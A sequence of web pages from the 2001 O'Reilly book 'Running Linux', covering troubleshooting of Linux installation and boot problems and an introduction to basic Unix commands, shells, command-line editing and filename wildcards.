Refer to the documentation for your hard drive and controller for information on solving these kinds of problems. In particular, many hard drives will need to have a jumper set if they are to be used as a "slave" drive (e.g., as the second hard drive). The acid test for this kind of condition is to boot up MS-DOS or some other operating system known to work with your drive and controller. If you can access the drive and controller from another operating system, then it is not a problem with your hardware configuration.

See the previous section, "Section 3.3.2.1, "Isolating hardware problems"," for information on resolving possible device conflicts and the following section, "Section 3.3.2.3, "Problems with SCSI controllers and devices"," for information on configuring SCSI devices.

Controller properly configured, but not detected

Some BIOS-less SCSI controllers require the user to specify information about the controller at boot time. The following section, "Section 3.3.2.3, "Problems with SCSI controllers and devices"," describes how to force hardware detection for these controllers.

Hard drive geometry not recognized

Some systems, such as the IBM PS/ValuePoint, do not store hard-drive geometry information in the CMOS memory where Linux expects to find it. Also, certain SCSI controllers need to be told where to find drive geometry in order for Linux to recognize the layout of your drive.

Most distributions provide a boot option to specify the drive geometry. In general, when booting the installation media, you can specify the drive geometry at the LILO boot prompt with a command such as:

boot: linux hd=cylinders,heads,sectors
where cylinders, heads, and sectors correspond to the number of cylinders, heads, and sectors per track for your hard drive.

After installing the Linux software, you can install LILO, allowing you to boot from the hard drive. At that time, you can specify the drive geometry to the LILO installation procedure, making it unnecessary to enter the drive geometry each time you boot. See the section "Section 5.2.2, "Using LILO"" in Chapter 5, "Essential System Management" for more about LILO.

3.3.2.3. Problems with SCSI controllers and devices

Presented here are some of the most common problems with SCSI controllers and devices, such as CD-ROMs, hard drives, and tape drives. If you are having problems getting Linux to recognize your drive or controller, read on. Let us again emphasize that most distributions use a modularized kernel and that you might have to load a module supporting your hardware during an early phase of the installation process. This might also be done automatically for you.

The Linux SCSI HOWTO contains much useful information on SCSI devices in addition to that listed here. SCSIs can be particularly tricky to configure at times.

It might be economizing on the false end, for example, if you use cheap cables, especially if you use wide SCSI. Cheap cables are a major source of problems and can cause all kinds of failures, as well as major headaches. If you use SCSI, use proper cabling.

Here are common problems and possible solutions:

A SCSI device is detected at all possible IDs.

This problem occurs when the system straps the device to the same address as the controller. You need to change the jumper settings so that the drive uses a different address from the controller itself.

Linux reports sense errors, even if the devices are known to be error-free.

This can be caused by bad cables or by bad termination. If your SCSI bus is not terminated at both ends, you may have errors accessing SCSI devices. When in doubt, always check your cables. In addition to disconnected cables, bad-quality cables are a not-so-uncommon source of troubles.

SCSI devices report timeout errors.

This is usually caused by a conflict with IRQ, DMA, or device addresses. Also, check that interrupts are enabled correctly on your controller.

SCSI controllers using BIOS are not detected.

Detection of controllers using BIOS will fail if the BIOS is disabled, or if your controller's "signature" is not recognized by the kernel. See the Linux SCSI HOWTO for more information about this.

Controllers using memory-mapped I/O do not work.

This happens when the memory-mapped I/O ports are incorrectly cached. Either mark the board's address space as uncacheable in the XCMOS settings, or disable cache altogether.

When partitioning, you get a warning "cylinders > 1024," or you are unable to boot from a partition using cylinders numbered above 1023.

BIOS limits the number of cylinders to 1024, and any partition using cylinders numbered above this won't be accessible from the BIOS. As far as Linux is concerned, this affects only booting; once the system has booted, you should be able to access the partition. Your options are to either boot Linux from a boot floppy, or boot from a partition using cylinders numbered below 1024. See the section "Section 3.1.7, "Creating the Boot Floppy or Installing LILO"" earlier in this chapter.

CD-ROM drive or other removable media devices are not recognized at boot time.

Try booting with a CD-ROM (or disk) in the drive. This is necessary for some devices.

If your SCSI controller is not recognized, you may need to force hardware detection at boot time. This is particularly important for SCSI controllers without BIOS. Most distributions allow you to specify the controller IRQ and shared memory address when booting the installation media. For example, if you are using a TMC-8xx controller, you may be able to enter:

boot: linux tmx8xx=interrupt,memory-address
at the LILO boot prompt, where interrupt is the IRQ of controller, and memory-address is the shared memory address. Whether you can do this depends on the distribution of Linux you are using; consult your documentation for details.

3.3.3. Problems Installing the Software

Installing the Linux software should be trouble free if you're lucky. The only problems you might experience would be related to corrupt installation media or lack of space on your Linux filesystems. Here is a list of common problems:

System reports "Read error, file not found," or other errors while attempting to install the software.

This is indicative of a problem with your installation media. If you are installing from floppy, keep in mind that floppies are quite susceptible to media errors of this type. Be sure to use brand-new, newly formatted floppies. If you have a Windows partition on your drive, many Linux distributions allow you to install the software from the hard drive. This may be faster and more reliable than using floppies.

If you are using a CD-ROM, be sure to check the disk for scratches, dust, or other problems that might cause media errors.

The cause of the problem may also be that the media is in the incorrect format. For example, if using floppies, many Linux distributions require floppies to be formatted in high-density MS-DOS format. (The boot floppy is the exception; it is not in MS-DOS format in most cases.) If all else fails, either obtain a new set of floppies, or recreate the floppies (using new ones) if you downloaded the software yourself.

System reports errors such as "tar: read error" or "gzip: not in gzip format."

This problem is usually caused by corrupt files on the installation media itself. In other words, your floppy may be error-free, but the data on the floppy is in some way corrupted. For example, if you downloaded the Linux software using text mode, rather than binary mode, your files will be corrupt and unreadable by the installation software. When using FTP, just issue the binary command to set that mode before you request a file transfer.

System reports errors such as "device full" while installing.

This is a clear-cut sign you have run out of space when installing the software. If the disk fills up, not all distributions can clearly recover, so aborting the installation won't give you a working system.

The solution is usually to recreate your filesystems with the mke2fs command, which will delete the partially installed software. You can then attempt to reinstall the software, this time selecting a smaller amount of software to install. In other cases, you may need to start completely from scratch, and rethink your partition and filesystem sizes.

System reports errors such as "read_intr: 0x10" while accessing the hard drive.

This is usually an indication of bad blocks on your drive. However, if you receive these errors while using mkswap or mke2fs, the system may be having trouble accessing your drive. This can either be a hardware problem (see the section "Section 3.3.2, "Hardware Problems"" earlier in this chapter), or it might be a case of poorly specified geometry. If you used the option:

hd=cylinders,heads,sectors
at boot time to force detection of your drive geometry and incorrectly specified the geometry, you could receive this error. This can also happen if your drive geometry is incorrectly specified in the system CMOS.

System reports errors such as "file not found" or "permission denied."

This problem can occur if not all of the necessary files are present on the installation media or if there is a permissions problem with the installation software. For example, some distributions of Linux have been known to have bugs in the installation software itself; these are usually fixed rapidly and are quite infrequent. If you suspect that the distribution software contains bugs, and you're sure that you have not done anything wrong, contact the maintainer of the distribution to report the bug.

If you have other strange errors when installing Linux (especially if you downloaded the software yourself), be sure you actually obtained all of the necessary files when downloading.

For example, some people use the FTP command:

mget *.*
when downloading the Linux software via FTP. This will download only those files that contain a "." in their filenames; if there are any files without the "." you will miss them. The correct command to use in this case is:
mget *

The best advice is to retrace your steps when something goes wrong. You may think that you have done everything correctly, when in fact you forgot a small but important step somewhere along the way. In many cases, just attempting to re-download or reinstall the Linux software can solve the problem. Don't beat your head against the wall any longer than you have to!

Also, if Linux unexpectedly hangs during installation, there may be a hardware problem of some kind. See the section "Section 3.3.2, "Hardware Problems"" for hints.

3.3.4. Problems After Installing Linux

You've spent an entire afternoon installing Linux. In order to make space for it, you wiped your Windows and OS/2 partitions and tearfully deleted your copies of SimCity 2000 and Railroad Tycoon 2. You reboot the system and nothing happens. Or, even worse, something happens, but it's not what should happen. What do you do?

In the section "Section 3.3.1, "Problems with Booting the Installation Media"," earlier in this chapter, we covered the most common problems that can occur when booting the Linux installation media; many of those problems may apply here. In addition, you may be victim to one of the following maladies.

3.3.4.1. Problems booting Linux from floppy

If you are using a floppy to boot Linux, you may need to specify the location of your Linux root partition at boot time. This is especially true if you are using the original installation floppy itself and not a custom boot floppy created during installation.

While booting the floppy, hold down the Shift or Control key. This should present you with a boot menu; press Tab to see a list of available options. For example, many distributions allow you to boot from a floppy by entering:

boot: linux root=partition
at the boot menu, where partition is the name of the Linux root partition, such as /dev/hda2. SuSE Linux offers a menu entry early in the installation program that boots your newly created Linux system from the installation boot floppy. Consult the documentation for your distribution for details.

3.3.4.2. Problems booting Linux from the hard drive

If you opted to install LILO instead of creating a boot floppy, you should be able to boot Linux from the hard drive. However, the automated LILO installation procedure used by many distributions is not always perfect. It may make incorrect assumptions about your partition layout, in which case you need to reinstall LILO to get everything right. Installing LILO is covered in the section "Section 5.2.2, "Using LILO"" in Chapter 5, "Essential System Management".

Here are some common problems:

System reports "Drive not bootable-Please insert system disk."

You will get this error message if the hard drive's master boot record is corrupt in some way. In most cases, it's harmless, and everything else on your drive is still intact. There are several ways around this:

  • While partitioning your drive using fdisk, you may have deleted the partition that was marked as "active." MS-DOS and other operating systems attempt to boot the "active" partition at boot time (Linux, in general, pays no attention to whether the partition is "active," but the Master Boot Records installed by some distributions like Debian do). You may be able to boot MS-DOS from floppy and run FDISK to set the active flag on your MS-DOS partition, and all will be well.

    Another command to try (with MS-DOS 5.0 and higher) is:

    FDISK /MBR
    This command will attempt to rebuild the hard drive master boot record for booting MS-DOS, overwriting LILO. If you no longer have MS-DOS on your hard drive, you'll need to boot Linux from floppy and attempt to install LILO later.

  • If you created an MS-DOS partition using Linux's version of fdisk, or vice versa, you may get this error. You should create MS-DOS partitions only by using MS-DOS's version of FDISK. (The same applies to operating systems other than MS-DOS.) The best solution here is either to start from scratch and repartition the drive correctly, or to merely delete and recreate the offending partitions using the correct version of fdisk.

  • The LILO installation procedure may have failed. In this case, you should boot either from your Linux boot floppy (if you have one), or from the original installation media. Either of these should provide options for specifying the Linux root partition to use when booting. At boot time, hold down the Shift or Control key and press Tab from the boot menu for a list of options.

When you boot the system from the hard drive, MS-DOS (or another operating system) starts instead of Linux.

First of all, be sure you actually installed LILO when installing the Linux software. If not, the system will still boot MS-DOS (or whatever other operating system you may have) when you attempt to boot from the hard drive. In order to boot Linux from the hard drive, you need to install LILO (see the section "Section 5.2.2, "Using LILO"" in Chapter 5, "Essential System Management").

On the other hand, if you did install LILO, and another operating system boots instead of Linux, then you have LILO configured to boot that other operating system by default. While the system is booting, hold down the Shift or Control key and press Tab at the boot prompt. This should present you with a list of possible operating systems to boot; select the appropriate option (usually just linux) to boot Linux.

If you wish to select Linux as the default operating system to boot, you will need to reinstall LILO.

It also may be possible that you attempted to install LILO, but the installation procedure failed in some way. See the previous item on installation.

3.3.4.3. Problems logging in

After booting Linux, you should be presented with a login prompt:

Linux login:
At this point, either the distribution's documentation or the system itself will tell you what to do. For many distributions, you simply log in as root, with no password. Other possible usernames to try are guest or test.

Most Linux distributions ask you for an initial root password. Hopefully, you have remembered what you typed in during installation; you will need it again now. If your distribution does not ask you for a root password during installation, you can try using an empty password.

If you simply can't log in, consult your distribution's documentation; the username and password to use may be buried in there somewhere. The username and password may have been given to you during the installation procedure, or they may be printed on the login banner.

One possible cause of this password impasse may be a problem with installing the Linux login and initialization files. If this is the case, you may need to reinstall (at least parts of) the Linux software, or boot your installation media and attempt to fix the problem by hand.

3.3.4.4. Problems using the system

If login is successful, you should be presented with a shell prompt (such as # or $) and can happily roam around your system. The next step in this case is to try the procedures in Chapter 4, "Basic Unix Commands and Concepts". However, there are some initial problems with using the system that sometimes creep up.

The most common initial configuration problem is incorrect file or directory permissions. This can cause the error message:

Shell-init: permission denied
to be printed after logging in. (In fact, any time you see the message permission denied, you can be fairly certain it is a problem with file permissions.)

In many cases, it's a simple matter of using the chmod command to fix the permissions of the appropriate files or directories. For example, some distributions of Linux once used the incorrect file mode 0644 for the root directory ( /  ). The fix was to issue the command:

# chmod 755 /
as root. (File permissions are covered by the section "Section 4.13, "File Ownership and Permissions"" in Chapter 4, "Basic Unix Commands and Concepts".) However, in order to issue this command, you needed to boot from the installation media and mount your Linux root filesystem by hand--a hairy task for most newcomers.

As you use the system, you may run into places where file and directory permissions are incorrect, or software does not work as configured. Welcome to the world of Linux! While most distributions are quite trouble-free, you can't expect them to be perfect. We don't want to cover all of those problems here. Instead, throughout the book we help you to solve many of these configuration problems by teaching you how to find them and fix them yourself. In Chapter 1, "Introduction to Linux", we discussed this philosophy in some detail. In Chapter 5, "Essential System Management", we give hints for fixing many of these common configuration problems.

Previous | Home | Next
3.2. Post-Installation Procedures | Book Index | 4. Basic Unix Commands and Concepts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Basic Unix Commands and Concepts (Running Linux)

 Running LinuxSearch this book
Previous Next

Chapter 4. Basic Unix Commands and Concepts

Contents:

Logging In
Setting a Password
Virtual Consoles
Popular Commands
Shells
Useful Keys and How to Get Them to Work
Typing Shortcuts
Filename Expansion
Saving Your Output
What Is a Command?
Putting a Command in the Background
Manual Pages
File Ownership and Permissions
Changing the Owner, Group, and Permissions
Startup Files
Important Directories
Programs That Serve You
Processes

If you've come to Linux from MS-DOS or another non-Unix operating system, you have a steep learning curve ahead of you. We might as well be candid on this point. Unix is a world all its own.

In this chapter, we're going to introduce the rudiments of Unix for those readers who have never had exposure to this operating system. If you are coming from MS-DOS, Microsoft Windows, or other environments, the information in this chapter will be absolutely vital to you. Unlike other operating systems, Unix is not at all intuitive. Many of the commands have seemingly odd names or syntax, the reasons for which usually date back many years to the early days of this system. And, although many of the commands may appear to be similar to their MS-DOS counterparts, there are important differences.

There are dozens of other books that cover basic Unix usage. You should be able to go to the computer section of any chain bookstore and find at least three or four of them on the shelf. (A few we like are listed in the Bibliography.) However, most of these books cover Unix from the point of view of someone sitting down at a workstation or terminal connected to a large mainframe, not someone who is running their own Unix system on a personal computer.

Also, these books often dwell upon the more mundane aspects of Unix: boring text-manipulation commands, such as awk, tr, and sed, most of which you will never need unless you get into doing some serious Unix trickery. In fact, many Unix books talk about the original ed line editor, which has long been made obsolete by vi and Emacs. Therefore, although many of the Unix books available today contain a great deal of useful information, many of them contain pages upon pages of humdrum material you couldn't probably care less about at this point.

Instead of getting into the dark mesh of text processing, shell syntax, and other issues, in this chapter we strive to cover the basic commands needed to get you up to speed with the system if you're coming from a non-Unix environment. This chapter is far from complete; a real beginner's Unix tutorial would take an entire book. It's our hope that this chapter will give you enough to keep you going in your adventures with Linux, and that you'll invest in one of the aforementioned Unix books once you have a need to do so. We'll give you enough Unix background to make your terminal usable, keep track of jobs, and enter essential commands.

Chapter 5, "Essential System Management", contains material on system administration and maintenance. This is by far the most important chapter for anyone running his own Linux system. If you are completely new to Unix, the material found in Chapter 5, "Essential System Management" should be easy to follow given the tutorial here.

One big job we don't cover in this chapter is how to edit files. It's one of the first things you need to learn on any operating system. The two most popular editors for Linux, vi and Emacs, are discussed at the beginning of Chapter 9, "Editors, Text Tools, Graphics, and Printing".

4.1. Logging In

Let's assume that your installation went completely smoothly, and you are facing the following prompt on your screen:

Linux login:

Many Linux users are not so lucky; they have to perform some heavy tinkering when the system is still in a raw state or in single-user mode. But for now, we'll talk about logging into a functioning Linux system.

Logging in, of course, distinguishes one user from another. It lets several people work on the same system at once and makes sure that you are the only person to have access to your files.

You may have installed Linux at home and be thinking right now, "Big deal. No one else shares this system with me, and I'd just as soon not have to log in." But logging in under your personal account also provides a certain degree of protection: your account won't have the ability to destroy or remove important system files. The system administration account (covered in the next chapter) is used for such touchy matters.

If you connect your computer to the Internet, even via a modem, make sure you set non-trivial passwords on all of your accounts.

Use punctuation and strings that don't represent real words or names.

You were probably asked to set up a login account for yourself when you installed Linux. If you have such an account, type the name you chose at the Linux login: prompt. If you don't have an account yet, type root because that account is certain to exist. Some distributions may also set up an account called install or some other name for fooling around when you first install the system.

After you choose your account, you see:

Password:

and you need to enter the correct password. The terminal turns off the normal echoing of characters you enter for this operation, so that nobody looking at the screen can read your password. If the prompt does not appear, you should add a password to protect yourself from other people's tampering; we'll go into this later.

By the way, both the name and the password are case-sensitive. Make sure the Caps Lock key is not set, because typing ROOT instead of root will not work.

When you have successfully logged in, you will see a prompt. If you're root, this may be a simple:

#

For other users, the prompt is usually a dollar sign. The prompt may also contain the name you assigned to your system or the directory you're in currently. Whatever appears here, you are now ready to enter commands. We say that you are at the "shell level" here and that the prompt you see is the "shell prompt." This is because you are running a program called the shell that handles your commands. Right now we can ignore the shell, but later in this chapter we'll find that it does a number of useful things for us.

As we show commands in this chapter, we'll show the prompt simply as $. So if you see:

$ pwd

it means that the shell prints $ and that pwd is what you're supposed to enter.

Previous | Home | Next
3.3. Running Into Trouble | Book Index | 4.2. Setting a Password
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Setting a Password (Running Linux)

 Running LinuxSearch this book
Previous Next

4.2. Setting a Password

If you don't already have a password, we recommend you set one. Just enter the command passwd. The command will prompt you for a password and then ask you to enter it a second time to make sure you enter it without typos.

There are standard guidelines for choosing passwords so that they're hard for other people to guess. Some systems even check your password and reject any that don't meet the minimal criteria. For instance, it is often said that you should have at least six characters in the password. Furthermore, you should mix uppercase and lowercase characters or include characters other than letters and digits.

To change your password, just enter the passwd command again. It prompts you for your old password (to make sure you're you) and then lets you change it.

Previous | Home | Next
4. Basic Unix Commands and Concepts | Book Index | 4.3. Virtual Consoles
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Virtual Consoles (Running Linux)

 Running LinuxSearch this book
Previous Next

4.3. Virtual Consoles

As a multiprocessing system, Linux gives you a number of interesting ways to do several things at once. You can start a long software installation and then switch to reading mail or compiling a program simultaneously. This should be a major part of Linux's appeal to MS-DOS users (although the latest Microsoft Windows has finally come to grips with multiprocessing, too).

Most Linux users, when they want this asynchronous access, will employ the X Window System. But before you get X running, you can do something similar through virtual consoles. This feature appears on a few other versions of Unix, but is not universally available.

To try out virtual consoles, hold down the left Alt key and press one of the function keys, F1 through F8. As you press each function key, you see a totally new screen complete with a login prompt. You can log in to different virtual consoles just as if you were two different people, and you can switch between them to carry out different activities. You can even run a complete X session in each console. The X Window System will use the virtual console 7 by default. So if you start X and then switch to one of the text-based virtual consoles, you can go back again to X by typing Alt-F7. If you discover that the Alt + function key combination brings up an X menu or some other fuction instead of switching virtual consoles, use Ctrl + Alt + function key.

In earlier versions of Linux (until kernel 1.1.54), the number of available virtual consoles was fixed, but could be changed by patching, recompiling and reinstalling the kernel; the default was 8. Nowadays, the Linux kernel creates virtual consoles as needed on the fly. However, this does not mean that you can simply go to virtual console 13 and log in there. You can log in only on virtual consoles where a getty process is running (see the next chapter for more information on this).

Previous | Home | Next
4.2. Setting a Password | Book Index | 4.4. Popular Commands
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Popular Commands (Running Linux)

 Running LinuxSearch this book
Previous Next

4.4. Popular Commands

The number of commands on a typical Unix system is enough to fill a few hundred reference pages. And you can add new commands too. The commands we'll tell you about here are just enough to navigate and to see what you have on the system.

4.4.1. Directories

Like MS-DOS, and virtually every modern computer system, Unix files are organized into a hierarchical directory structure. Unix imposes no rules about where files have to be, but conventions have grown up over the years. Thus, on Linux you'll find a directory called /home where each user's files are placed. Each user has a subdirectory under /home. So if your login name is mdw, your personal files are located in /home/mdw. This is called your home directory. You can, of course, create more subdirectories under it.

As you can see, the components of a directory are separated by slashes. The term pathname is often used to refer to this slash-separated list.

What directory is /home in? The directory named / of course. This is called the root directory. We have already mentioned it when setting up file systems.

When you log in, the system puts you in your home directory. To verify this, use the "print working directory" or pwd command:

$ pwd
/home/mdw

The system confirms that you're in /home/mdw.

You certainly won't have much fun if you have to stay in one directory all the time. Now try using another command, cd, to move to another directory:

$ cd /usr/bin
$ pwd
/usr/bin
$ cd

Where are we now? A cd with no arguments returns us to our home directory. By the way, the home directory is often represented by a tilde (~). So the string ~/programs means that programs is located right under your home directory.

While we're thinking about it, let's make a directory called ~/programs. From your home directory, you can enter either:

$ mkdir programs

or the full pathname:

$ mkdir /home/mdw/programs

Now change to that directory:

$ cd programs
$ pwd
/home/mdw/programs

The special character sequence .. refers to "the directory just above the current one." So you can move back up to your home directory by typing the following:

$ cd ..

The opposite of mkdir is rmdir, which removes directories:

$ rmdir programs

Similarly, the rm command deletes files. We won't show it here, because we haven't yet shown how to create a file. You generally use the vi or Emacs editor for that (see Chapter 9, "Editors, Text Tools, Graphics, and Printing"), but some of the commands later in this chapter will create files too. With the -r (recursive) option, rm deletes a whole directory and all its contents. (Use with care!)

4.4.2. Listing Files

Enter ls to see what is in a directory. Issued without an argument, the ls command shows the contents of the current directory. You can include an argument to see a different directory:

$ ls /home

Some systems have a fancy ls that displays special files--such as directories and executable files--in bold, or even in different colors. If you want to change the default colors, edit the file /etc/DIR_COLORS, or create a copy of it in your home directory named .dir_colors and edit that.

Like most Unix commands, ls can be controlled with options that start with a hyphen (-). Make sure you type a space before the hyphen. One useful option for ls is -a for "all," which will reveal to you riches that you never imagined in your home directory:

$ cd
$ ls -a
.                        .bashrc                  .fvwmrc
..                       .emacs                   .xinitrc
.bash_history            .exrc

The single dot refers to the current directory, and the double dot refers to the directory right above it. But what are those other files beginning with a dot? They are called hidden files. Putting a dot in front of their names keeps them from being shown during a normal ls command. Many programs employ hidden files for user options--things about their default behavior that you want to change. For instance, you can put commands in the file .Xdefaults to alter how programs using the X Window System operate. So most of the time you can forget these files exist, but when you're configuring your system you'll find them very important. We'll list some of them later.

Another useful ls option is -l for "long." It shows extra information about the files. Figure 4-1 shows typical output and what each field means.

Figure 4-1. Output of ls -l

We'll discuss the permissions, owner, and group fields later in this chapter, in the section "Section 4.13, "File Ownership and Permissions"." The ls command also shows the size of each file and when it was last modified.

4.4.3. Viewing Files, More or Less

One way to look at a file is to invoke an editor, such as:

$ emacs .bashrc

But if you just want to scan a file quickly, rather than edit it, other commands are quicker. The simplest is the strangely named cat command (named after the verb concatenate, because you can also use it to concatenate several files into one):

$ cat .bashrc

But a long file will scroll by too fast for you to see it, so most people use the more command instead:

$ more .bashrc

This prints a screenfull at a time and waits for you to press the space bar before printing more. more has a lot of powerful options. For instance, you can search for a string in the file: press the slash key (/), type the string, and press Return.

A popular variation on the more command is called less. It has even more powerful features; for instance, you can mark a particular place in a file and return there later.

4.4.4. Symbolic Links

Sometimes you want to keep a file in one place and pretend it is in another. This is done most often by a system administrator, not a user. For instance, you might keep several versions of a program around, called prog.0.9, prog.1.1, and so on, but use the name prog to refer to the version you're currently using. Or you may have a file installed in one partition because you have disk space for it there, but the program that uses the file needs it to be in a different partition because the pathname is hard-coded into the program.

Unix provides links to handle these situations. In this section, we'll examine the symbolic link, which is the most flexible and popular type. A symbolic link is a kind of dummy file that just points to another file. If you edit or read or execute the symbolic link, the system is smart enough to give you the real file instead. Symbolic links work a lot like shortcuts under Windows 95/98, but are much more powerful.

Let's take the prog example. You want to create a link named prog that points to the actual file, which is named prog.1.1. Enter the command:

$ ln -s prog.1.1 prog

Now you've created a new file named prog that is kind of a dummy file; if you run it, you're really running prog.1.1. Let's look at what ls -l has to say about the file:

$ ls -l prog
lrwxrwxrwx   2 mdw      users           8 Nov 17 14:35 prog -> prog.1.1

The l at the beginning of the line shows that the file is a link, and the little -> indicates the real file the link points to.

Symbolic links are really simple, once you get used to the idea of one file pointing to another. You'll encounter links all the time when installing software packages.

Previous | Home | Next
4.3. Virtual Consoles | Book Index | 4.5. Shells
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Shells (Running Linux)

 Running LinuxSearch this book
Previous Next

4.5. Shells

As we said before, logging in to the system puts you into a shell (or a graphical interface if your system is configured to use a display manager). So does opening an xterm window in X. The shell interprets and executes all your commands. Let's look a bit at different shells before we keep going, because they're going to affect some of the material coming up.

If it seems confusing that Unix offers many different shells, just accept it as an effect of evolution. Believe us, you wouldn't want to be stuck using the very first shell developed for Unix, the Bourne shell. While it was a very powerful user interface for its day (the mid-1970s), it lacked a lot of useful features for interactive use--including the ones shown in this section. So other shells have been developed over time, and you can now choose the one that best suits your way of working.

Some of the shells available on Linux are:

bash

Bourne Again shell. The most commonly used (and most powerful) shell on Linux. POSIX-compliant, compatible with Bourne shell, created and distributed by the GNU project (Free Software Foundation). Offers command-line editing, history substitution, and Bourne Shell compatibility.

csh

C shell. Developed at Berkeley. Mostly compatible with the Bourne shell for interactive use, but has a very different interface for programming. Does not offer command-line editing, although it does have a sophisticated alternative called history substitution.

ksh

Korn shell. Perhaps the most popular on Unix systems generally, and the first to introduce modern shell techniques (including some borrowed from the C shell) into the Bourne shell. Compatible with Bourne shell. Offers command-line editing.

sh

Bourne shell. The original shell. Does not offer command-line editing.

tcsh

Enhanced C shell. Offers command-line editing.

zsh

Z shell. The newest of the shells. Compatible with Bourne shell. Offers command-line editing.

Try the following command to find out what your shell is. It prints out the full pathname where the shell is located. Don't forget to type the dollar sign:

$ echo $SHELL

You are probably running bash, the Bourne Again Shell. If you're running something else, this might be a good time to change to bash. It's powerful, POSIX-compliant, well-supported, and very popular on Linux. Use the chsh command to change your shell:

$ chsh
Enter password: Type your password here--this is for security's sake
Changing the login shell for kalle
Enter the new value, or press return for the default

        Login Shell [/bin/sh]:/bin/bash

Before a user can choose a particular shell, that shell must be installed and the system administrator must make it available by entering it in /etc/shells.

There are a couple of ways to conceptualize the differences between shells. One is to distinguish Bourne-compatible shells from csh-compatible shells. This will be of interest to you when you start to program with the shell, also known as writing shell scripts. The Bourne shell and C shell have different programming constructs. Most people now agree that Bourne-compatible shells are better, and there are many Unix utilities that recognize only the Bourne shell.

Another way to categorize shells is to identify those that offer command-line editing (all the newer ones) versus those that do not. sh and csh lack this useful feature.

When you combine the two criteria--being compatible with the Bourne shell and offering command-line editing--your best choice comes down to bash, ksh, or zsh. Try out several shells before you make your choice; it helps to know more than one, in case someday you find yourself on a system that limits your choice of shells.

Previous | Home | Next
4.4. Popular Commands | Book Index | 4.6. Useful Keys and How to Get Them to Work
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Useful Keys and How to Get Them to Work (Running Linux)

 Running LinuxSearch this book
Previous Next

4.6. Useful Keys and How to Get Them to Work

When you type a command, pressing the Backspace key should remove the last character. Ctrl-U should delete the whole line.[20] When you have finished entering a command, and it is executing, Ctrl-C should abort it, and Ctrl-Z should suspend it. (When you want to resume the program, enter fg for "foreground.")

[20]Ctrl-U means hold down the Control key and press u.

If any of these keys fail to work, your terminal is not configured correctly for some reason. You can fix it through the stty command. Use the syntax:

stty function key

where function is what you want to do, and key is the key that you press. Specify a control key by putting a circumflex (^) in front of the key.

Here is a set of sample commands to set up the functions described earlier:

$ stty erase ^H
$ stty kill ^U
$ stty intr ^C
$ stty susp ^Z

The first control key shown, ^H, represents the ASCII code generated by the Backspace key.

By the way, you can generate a listing of your current terminal settings by entering stty -a. But that doesn't mean you can understand the output: stty is a complicated command with many uses, some of which require a lot of knowledge about terminals.

Previous | Home | Next
4.5. Shells | Book Index | 4.7. Typing Shortcuts
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Typing Shortcuts (Running Linux)

 Running LinuxSearch this book
Previous Next

4.7. Typing Shortcuts

If you've been following along this tutorial at the terminal, you may be tired of typing the same things over and over again. It can be particularly annoying when you make a mistake and have to start over again. Here is where the shell really makes life easier. It doesn't make Unix as simple as a point-and-click interface, but it can help you work really fast in a command environment.

This section discusses command-line editing. The tips here work if your shell is bash, ksh, tcsh, or zsh. Command-line editing treats the last fifty or so lines you typed as a buffer in an editor. You can move around these lines and change them the way you'd edit a document. Every time you press the Return key, the shell executes the current line.

4.7.1. Word Completion

First, let's try something simple that can save you a lot of time. Type the following, without pressing the Return key:

$ cd /usr/inc

Now press the Tab key. The shell will add lude to complete the name of the directory /usr/include. Now you can press the Return key, and the command will execute.

The criteria for specifying a filename is "minimal completion." Type just enough characters to distinguish a name from all the others in that directory. The shell can find the name and complete it--up to and including a slash, if the name is a directory.

You can use completion on commands too. For instance, if you type:

$ ema

and press the Tab key, the shell will add the cs to make emacs (unless some other command in your path begins with ema).

What if there are multiple files that match what you've typed? If they all start with the same characters, the shell completes the word up to the point where names differ. Beyond that, most shells do nothing. bash has a neat enhancement: if you press the Tab key twice, it displays all the possible completions. For instance, if you enter:

$ cd /usr/l

and press the Tab key twice, bash prints something like:

lib         local

4.7.2. Moving Around Among Commands

Press the up arrow, and the command you typed previously appears. The up arrow takes you back through the command history, while the down arrow takes you forward. If you want to change a character on the current line, use the left or right arrow keys.

As an example, suppose you tried to execute:

$ mroe .bashrc
bash: mroe: command not found

Of course, you typed mroe instead of more. To correct the command, call it back by pressing the up arrow. Then press the left arrow until the cursor lies over the o in mroe. You could use the Backspace key to remove the o and r and retype them correctly. But here's an even neater shortcut: just press Ctrl-T. It will reverse o and r, and you can then press the Return key to execute the command.

Many other key combinations exist for command-line editing. But the basics shown here will help you quite a bit. If you learn the Emacs editor, you will find that most keys work the same way in the shell. And if you're a vi fan, you can set up your shell so that it uses vi key bindings instead of Emacs bindings. To do this in bash, ksh, or zsh, enter the command:

$ export VISUAL=vi

In tcsh enter:

$ setenv VISUAL vi

Previous | Home | Next
4.6. Useful Keys and How to Get Them to Work | Book Index | 4.8. Filename Expansion
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Filename Expansion (Running Linux)

 Running LinuxSearch this book
Previous Next

4.8. Filename Expansion

Another way to save time in your commands is to use special characters to abbreviate filenames. You can specify many files at once by using these characters. This feature of the shell is sometimes called "globbing."

MS-DOS provides a few crude features of this type. You can use a question mark to mean "any character" and an asterisk to mean "any string of characters." Unix provides these wildcards too, but in a more robust and rigorous way.

Let's say you have a directory containing the following C source files:

$ ls
inv1jig.c   inv2jig.c   inv3jig.c   invinitjig.c   invpar.c

To list the three files containing digits in their names, you could enter:

$ ls inv?jig.c
inv1jig.c   inv2jig.c   inv3jig.c

The shell looks for a single character to replace the question mark. Thus, it displays inv1jig.c, inv2jig.c, and inv3jig.c, but not invinitjig.c because that name contains too many characters.

If you're not interested in the second file, you can specify the ones you want using brackets:

$ ls inv[13]jig.c
inv1jig.c   inv3jig.c

If any single character within the brackets matches a file, that file is displayed. You can also put a range of characters in the brackets:

$ ls inv[1-3]jig.c
inv1jig.c   inv2jig.c   inv3jig.c

Now we're back to displaying all three files. The hyphen means "match any character from 1 through 3, inclusive." You could ask for any numeric character by specifying 0-9, and any alphabetic character by specifying [a-zA-Z]. In the latter case, two ranges are required because the shell is case-sensitive. The order used, by the way, is that of the ASCII character set.

Suppose you want to see the init file, too. Now you can use an asterisk, because you want to match any number of characters between the inv and the jig:

$ ls inv*jig.c
